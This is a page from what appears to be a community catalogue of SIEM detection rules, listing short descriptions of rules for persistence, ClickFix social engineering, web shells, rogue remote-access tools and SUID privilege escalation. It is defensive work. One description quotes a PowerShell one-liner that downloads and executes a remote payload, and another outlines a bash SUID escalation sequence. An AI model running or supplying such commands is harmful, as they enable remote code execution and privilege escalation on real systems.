Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
20,482 detections
Filters
Last updated
All Time
Detection languages
8,114
7,158
1,351
1,168
1,063
Contributors
4,878
2,724
2,695
2,646
2,356
Categories
20,482
11,866
5,884
5,164
4,867
Platforms
18,085
3,046
1,506
124
104
Products / Services
5,725
4,293
3,715
1,174
958
MITRE Techniques
9,480
7,573
3,458
2,848
2,702
CVEs
36
28
25
21
20
IDS Classtypes
1
Detects persistence attempts using common Windows auto-start registry keys or scheduled tasks where the initiating process is unsigned or has an invalid signature. The rule focuses on binaries executing from suspicious, user-writable directories (e.g., Temp, AppData, Downloads) and specifically targets persistence mechanisms involving the 'SecurityHealthService.exe' filename.
Detects unauthorized process activity that reads, copies, archives, or transmits the NetScaler ns.conf configuration file. This file contains highly sensitive information, including AAA/LDAP bind credentials and certificates. Adversaries may stage or exfiltrate this file following the exploitation of vulnerabilities (such as CVE-2026-88771 or CVE-2026-88772) on NetScaler appliances to facilitate further network compromise.
Detects indicators associated with the ChatGPT Custom GPT ClickFix campaign across process, network connection, DNS, and HTTP telemetry: known malicious file hashes, C2 IP addresses, the chattypetty.com domain, and known payload-hosting URLs.
Detects awk-based shell command construction on ESX BusyBox that interleaves
an esxcli/vim-cmd command string with invisible Unicode code points (zero-width space,
zero-width non-joiner/joiner, word joiner, Mongolian vowel separator, left/right-to-left
marks, or Plane-16 private-use characters generated via sprintf hex escapes), strips them
with gsub(), and passes the result to system(). CrowdStrike documented this as one of 21
validated ESX obfuscation techniques that leaves only the invisible-character-laden string
in shell logs while the executed command is fully hidden from cleartext review.
an esxcli/vim-cmd command string with invisible Unicode code points (zero-width space,
zero-width non-joiner/joiner, word joiner, Mongolian vowel separator, left/right-to-left
marks, or Plane-16 private-use characters generated via sprintf hex escapes), strips them
with gsub(), and passes the result to system(). CrowdStrike documented this as one of 21
validated ESX obfuscation techniques that leaves only the invisible-character-laden string
in shell logs while the executed command is fully hidden from cleartext review.
Detects instances where a suspicious PowerShell, mshta, or pwsh command, typically involving download or obfuscation patterns, is launched as a child process of Windows Explorer within two minutes of a modification to the Explorer RunMRU registry key. This behavior is indicative of an adversary attempting to achieve execution, often following user interaction or persistence triggers.
This rule detects activities associated with the Star Blizzard (also known as APT28 or Callisto) group's CosmicPulse malware, specifically the downloader and Python-based backdoor. It monitors for suspicious CPL file execution via UNC paths by rundll32.exe or control.exe, unauthorized modifications to the HKCU\Software\Classes\.mollis registry key used for COM hijacking, and anomalous spawning of Python executables from control host processes in user-writable directories.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects a multi-stage process execution chain involving PowerShell: first, a script-based download of remote content, followed by in-memory reflection, and finally, suspicious memory allocation or thread manipulation within the same process context. This pattern is characteristic of fileless malware execution chains designed to evade disk-based detection.
Detects anomalous execution of PowerShell commands spawned by processes identified as 'javaw.exe' or 'GlobalTellurSync.exe' (associated with DragonForce backdoor activity). The detection focuses on instances where these processes launch from non-standard user-writable directories (e.g., AppData, Temp) and execute PowerShell commands that contain obfuscated arguments or payloads, while excluding standard scheduled task invocations.
Detects web server processes (e.g., IIS w3wp.exe, Apache, Nginx, PHP-FPM) spawning suspicious child processes such as command shells (cmd, powershell, bash, sh), network utilities (curl, wget), or interpreters (python, perl). This behavior is strongly indicative of exploitation of a public-facing web application and the subsequent execution of a webshell or post-exploitation command activity.
Detects process/file hashes associated with the ChatGPT Custom GPT ClickFix
campaign via Windows process_creation telemetry. Split from the combined IOC
hunt: Sigma supports only one logsource per rule, so IP/domain/URL matching live
in separate network_connection and dns_query rules.
campaign via Windows process_creation telemetry. Split from the combined IOC
hunt: Sigma supports only one logsource per rule, so IP/domain/URL matching live
in separate network_connection and dns_query rules.
Detects execution of masqueraded wsl.exe binary.
Attackers can rename a malicious payload to wsl.exe to masquerade as the legitimate Windows Subsystem for Linux binary,
bypassing detection based on image name alone and abusing user trust in the WSL process name.
Attackers can rename a malicious payload to wsl.exe to masquerade as the legitimate Windows Subsystem for Linux binary,
bypassing detection based on image name alone and abusing user trust in the WSL process name.
Detects a system shell/interpreter copied or moved into a writable or non-standard path -
the precursor to the 'copy /bin/bash, set SUID, run bash -p' misconfiguration abuse and a
common staging step in the page-cache PoCs. Enriched with source/destination decode, an
inline-SUID-intent flag (chmod +s / chmod 4755 / install -m / setcap in the same command),
masquerade flags (renamed, hidden dotfile, system-lookalike name), a weighted RiskScore /
TriagePriority and DeviceInfo context. Pairs with OS-DET-LNX-006 and correlation
OS-DET-LNX-007. Detection logic adapted from Elastic Security Labs.
the precursor to the 'copy /bin/bash, set SUID, run bash -p' misconfiguration abuse and a
common staging step in the page-cache PoCs. Enriched with source/destination decode, an
inline-SUID-intent flag (chmod +s / chmod 4755 / install -m / setcap in the same command),
masquerade flags (renamed, hidden dotfile, system-lookalike name), a weighted RiskScore /
TriagePriority and DeviceInfo context. Pairs with OS-DET-LNX-006 and correlation
OS-DET-LNX-007. Detection logic adapted from Elastic Security Labs.
Detects the execution of '1.bat' when it invokes administrative or sensitive utilities such as schtasks.exe, reg.exe, or specific executables like LockScreenContentServer.exe. This activity is indicative of a persistence mechanism being established or the initiation of a DLL side-loading chain.
Detects a suspicious Microsoft Teams MSI installer (msiexec.exe) spawning a PowerShell child process or referencing a known dead-drop resolver domain. This behavior is indicative of a trojanized installer used as an initial access vector to execute malicious payloads.
Detects PowerShell command execution that combines typical Active Directory or system reconnaissance commands with potential persistence mechanisms, which is a common indicator of post-exploitation activity.
Detects the execution of a ScreenConnect installer executable followed by the deployment or startup of its associated client components (WindowsClient.exe or ClientService.exe) within a 30-minute window on the same device. This rule is designed to identify the unauthorized installation or deployment of remote access software.
Detects the execution of a ScreenConnect installer executable followed by the deployment or startup of its associated client components (WindowsClient.exe or ClientService.exe) within a 30-minute window on the same device. This rule is designed to identify the unauthorized installation or deployment of remote access software.
This rule detects the execution of common remote access and management (RMM) tools from non-standard directories such as user profiles, temp folders, or other locations outside of standard application installation paths (e.g., Program Files or ProgramData). Such activity is often indicative of unauthorized remote access setup or the use of portable RMM binaries by an adversary to maintain persistent access.
Detects ScreenConnect client processes initiating outbound network connections to external cloud relay addresses (typically *-relay.screenconnect.com) from locations outside of standard Program Files directories. This behavior is indicative of unauthorized, standalone, or adversary-deployed ScreenConnect instances attempting to establish a Command and Control (C2) channel, bypassing standard IT-managed deployment pathways.
This rule monitors for Linux web-server service accounts (such as www-data or nginx) attempting to elevate privileges by modifying file permissions to set SUID/SGID bits or by executing common system binaries with shell-escape patterns commonly documented in GTFOBins for privilege escalation.
Page 30 of 976